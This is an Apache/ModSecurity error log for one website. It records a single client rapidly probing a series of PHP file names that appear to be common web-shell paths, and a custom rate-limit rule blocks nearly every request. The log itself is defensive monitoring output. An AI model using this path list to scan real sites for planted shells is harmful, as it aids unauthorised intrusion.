[Sat Apr 11 21:40:19.262111 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11164] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "adpPQ12P8TxdbaN018Iu8QAAABg"]
[Sat Apr 11 21:40:19.766027 2026] [:error] [pid 42313:tid 42337] [client 20.215.64.75:11160] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "adpPQ12P8TxdbaN018Iu8gAAABU"]
[Sat Apr 11 21:40:20.267054 2026] [:error] [pid 42220:tid 42271] [client 20.215.64.75:11227] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "adpPREz5c3Cs6a8B5QuDlQAAANQ"]
[Sat Apr 11 21:40:20.775942 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:11181] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "adpPRF2P8TxdbaN018Iu9wAAABI"]
[Sat Apr 11 21:40:21.280823 2026] [:error] [pid 42221:tid 42301] [client 20.215.64.75:11207] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "adpPRU2gt0pb_0-cc6mGewAAAFc"]
[Sat Apr 11 21:40:21.789654 2026] [:error] [pid 42219:tid 42237] [client 20.215.64.75:11197] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "adpPRQ-4IkVbTQx_J-2BMAAAAI4"]
[Sat Apr 11 21:40:22.294583 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11129] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "adpPRk2gt0pb_0-cc6mGfgAAAFI"]
[Sat Apr 11 21:40:22.800434 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11257] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "adpPRk2gt0pb_0-cc6mGgQAAAFg"]
[Sat Apr 11 21:40:23.305502 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11194] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "adpPR12P8TxdbaN018Iu_AAAABc"]
[Sat Apr 11 21:40:23.825308 2026] [:error] [pid 42220:tid 42273] [client 20.215.64.75:11128] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "adpPR0z5c3Cs6a8B5QuDmQAAANY"]
[Sat Apr 11 21:40:24.330204 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11202] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "adpPSE2gt0pb_0-cc6mGiQAAAEI"]
[Sat Apr 11 21:40:24.837316 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:11195] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "adpPSE2gt0pb_0-cc6mGiwAAAFA"]
[Sat Apr 11 21:40:25.360859 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11051] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "adpPSU2gt0pb_0-cc6mGjwAAAFg"]
[Sat Apr 11 21:40:25.866666 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:11174] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "adpPSU2gt0pb_0-cc6mGkwAAAEM"]
[Sat Apr 11 21:40:26.383814 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:11150] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "adpPSk2gt0pb_0-cc6mGlQAAAEc"]
[Sat Apr 11 21:40:26.888623 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11012] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "adpPSk2gt0pb_0-cc6mGmgAAAFg"]
[Sat Apr 11 21:40:27.393315 2026] [:error] [pid 42221:tid 42289] [client 20.215.64.75:11189] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "adpPS02gt0pb_0-cc6mGnwAAAEs"]
[Sat Apr 11 21:40:27.897298 2026] [:error] [pid 42220:tid 42253] [client 20.215.64.75:11097] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "adpPS0z5c3Cs6a8B5QuDnAAAAMI"]
[Sat Apr 11 21:40:28.402295 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:11209] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "adpPTF2P8TxdbaN018Iu_QAAABQ"]
[Sat Apr 11 21:40:28.906818 2026] [:error] [pid 42221:tid 42291] [client 20.215.64.75:11245] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "adpPTE2gt0pb_0-cc6mGpQAAAE0"]
[Sat Apr 11 21:40:29.448305 2026] [:error] [pid 42221:tid 42289] [client 20.215.64.75:11191] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "adpPTU2gt0pb_0-cc6mGqQAAAEs"]
[Sat Apr 11 21:40:29.954195 2026] [:error] [pid 42220:tid 42271] [client 20.215.64.75:11053] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "adpPTUz5c3Cs6a8B5QuDowAAANQ"]
[Sat Apr 11 21:40:30.459435 2026] [:error] [pid 42220:tid 42262] [client 20.215.64.75:11173] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "adpPTkz5c3Cs6a8B5QuDpAAAAMs"]
[Sat Apr 11 21:40:30.963624 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:11217] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "adpPTl2P8TxdbaN018Iu_wAAAAg"]
[Sat Apr 11 21:40:31.467935 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:11107] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "adpPT02gt0pb_0-cc6mGtwAAAEM"]
[Sat Apr 11 21:40:31.971664 2026] [:error] [pid 42220:tid 42259] [client 20.215.64.75:11185] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "adpPT0z5c3Cs6a8B5QuDpwAAAMg"]
[Sat Apr 11 21:40:32.476083 2026] [:error] [pid 42313:tid 42321] [client 20.215.64.75:11101] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "adpPUF2P8TxdbaN018IvAQAAAAU"]
[Sat Apr 11 21:40:32.980405 2026] [:error] [pid 42313:tid 42327] [client 20.215.64.75:11165] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "adpPUF2P8TxdbaN018IvBQAAAAs"]
[Sat Apr 11 21:40:33.484459 2026] [:error] [pid 42219:tid 42240] [client 20.215.64.75:11192] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "adpPUQ-4IkVbTQx_J-2BOgAAAJE"]
[Sat Apr 11 21:40:33.989475 2026] [:error] [pid 42221:tid 42282] [client 20.215.64.75:11180] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "adpPUU2gt0pb_0-cc6mGwAAAAEQ"]
[Sat Apr 11 21:40:34.493648 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:11085] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.mopj.php"] [unique_id "adpPUl2P8TxdbaN018IvEgAAAAk"]
[Sat Apr 11 21:40:34.999150 2026] [:error] [pid 42221:tid 42299] [client 20.215.64.75:11145] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.mopj.php"] [unique_id "adpPUk2gt0pb_0-cc6mGxAAAAFU"]
[Sat Apr 11 21:40:35.502308 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11096] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.mopj.php"] [unique_id "adpPU12P8TxdbaN018IvGwAAABc"]
[Sat Apr 11 21:40:36.006648 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:11134] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.mopj.php"] [unique_id "adpPVF2P8TxdbaN018IvIAAAAAc"]
[Sat Apr 11 21:40:36.509500 2026] [:error] [pid 42221:tid 42295] [client 20.215.64.75:11147] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "adpPVE2gt0pb_0-cc6mGxgAAAFE"]
[Sat Apr 11 21:40:37.015285 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:11016] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "adpPVV2P8TxdbaN018IvJgAAABI"]
[Sat Apr 11 21:40:37.519115 2026] [:error] [pid 42220:tid 42258] [client 20.215.64.75:11122] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "adpPVUz5c3Cs6a8B5QuDygAAAMc"]
[Sat Apr 11 21:40:38.023595 2026] [:error] [pid 42221:tid 42291] [client 20.215.64.75:11183] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "adpPVk2gt0pb_0-cc6mGygAAAE0"]
[Sat Apr 11 21:40:38.528182 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11199] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nano.php"] [unique_id "adpPVk2gt0pb_0-cc6mGywAAAEo"]
[Sat Apr 11 21:40:39.088189 2026] [proxy_fcgi:error] [pid 42313:tid 42319] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:39.344741 2026] [proxy_fcgi:error] [pid 42313:tid 42324] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:39.605538 2026] [proxy_fcgi:error] [pid 42313:tid 42321] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:39.861697 2026] [proxy_fcgi:error] [pid 42313:tid 42322] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:40.118332 2026] [proxy_fcgi:error] [pid 42313:tid 42334] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:40.375350 2026] [proxy_fcgi:error] [pid 42313:tid 42328] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:40.631605 2026] [proxy_fcgi:error] [pid 42313:tid 42325] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:40.888284 2026] [proxy_fcgi:error] [pid 42313:tid 42316] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:41.144154 2026] [proxy_fcgi:error] [pid 42313:tid 42340] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:41.400921 2026] [proxy_fcgi:error] [pid 42313:tid 42331] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:41.656560 2026] [proxy_fcgi:error] [pid 42313:tid 42330] [client 20.215.64.75:11084] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:40:41.908975 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:11084] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "adpPWV2P8TxdbaN018IvRAAAABA"]
[Sat Apr 11 21:40:42.412831 2026] [:error] [pid 42221:tid 42284] [client 20.215.64.75:11232] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "adpPWk2gt0pb_0-cc6mG1AAAAEY"]
[Sat Apr 11 21:40:42.918180 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:11153] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "adpPWk2gt0pb_0-cc6mG1QAAAEc"]
[Sat Apr 11 21:40:43.423207 2026] [:error] [pid 42221:tid 42300] [client 20.215.64.75:11105] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "adpPW02gt0pb_0-cc6mG1wAAAFY"]
[Sat Apr 11 21:40:43.928375 2026] [:error] [pid 42313:tid 42328] [client 20.215.64.75:11208] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zample.php"] [unique_id "adpPW12P8TxdbaN018IvSQAAAAw"]
[Sat Apr 11 21:40:44.432536 2026] [:error] [pid 42220:tid 42268] [client 20.215.64.75:11198] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zample.php"] [unique_id "adpPXEz5c3Cs6a8B5QuDzQAAANE"]
[Sat Apr 11 21:40:44.950132 2026] [:error] [pid 42219:tid 42231] [client 20.215.64.75:11081] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zample.php"] [unique_id "adpPXA-4IkVbTQx_J-2BSQAAAIg"]
[Sat Apr 11 21:40:45.454582 2026] [:error] [pid 42221:tid 42293] [client 20.215.64.75:11156] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zample.php"] [unique_id "adpPXU2gt0pb_0-cc6mG2gAAAE8"]
[Sat Apr 11 21:40:45.958765 2026] [:error] [pid 42221:tid 42290] [client 20.215.64.75:11235] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "adpPXU2gt0pb_0-cc6mG3AAAAEw"]
[Sat Apr 11 21:40:46.493824 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11032] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "adpPXl2P8TxdbaN018IvTgAAABM"]
[Sat Apr 11 21:40:47.001133 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11015] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "adpPX02gt0pb_0-cc6mG3QAAAFI"]
[Sat Apr 11 21:40:47.505406 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:11139] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "adpPX02gt0pb_0-cc6mG4AAAAEc"]
[Sat Apr 11 21:40:48.011447 2026] [:error] [pid 42220:tid 42274] [client 20.215.64.75:11125] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "adpPYEz5c3Cs6a8B5QuD1AAAANc"]
[Sat Apr 11 21:40:48.515983 2026] [:error] [pid 42219:tid 42237] [client 20.215.64.75:11120] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "adpPYA-4IkVbTQx_J-2BSwAAAI4"]
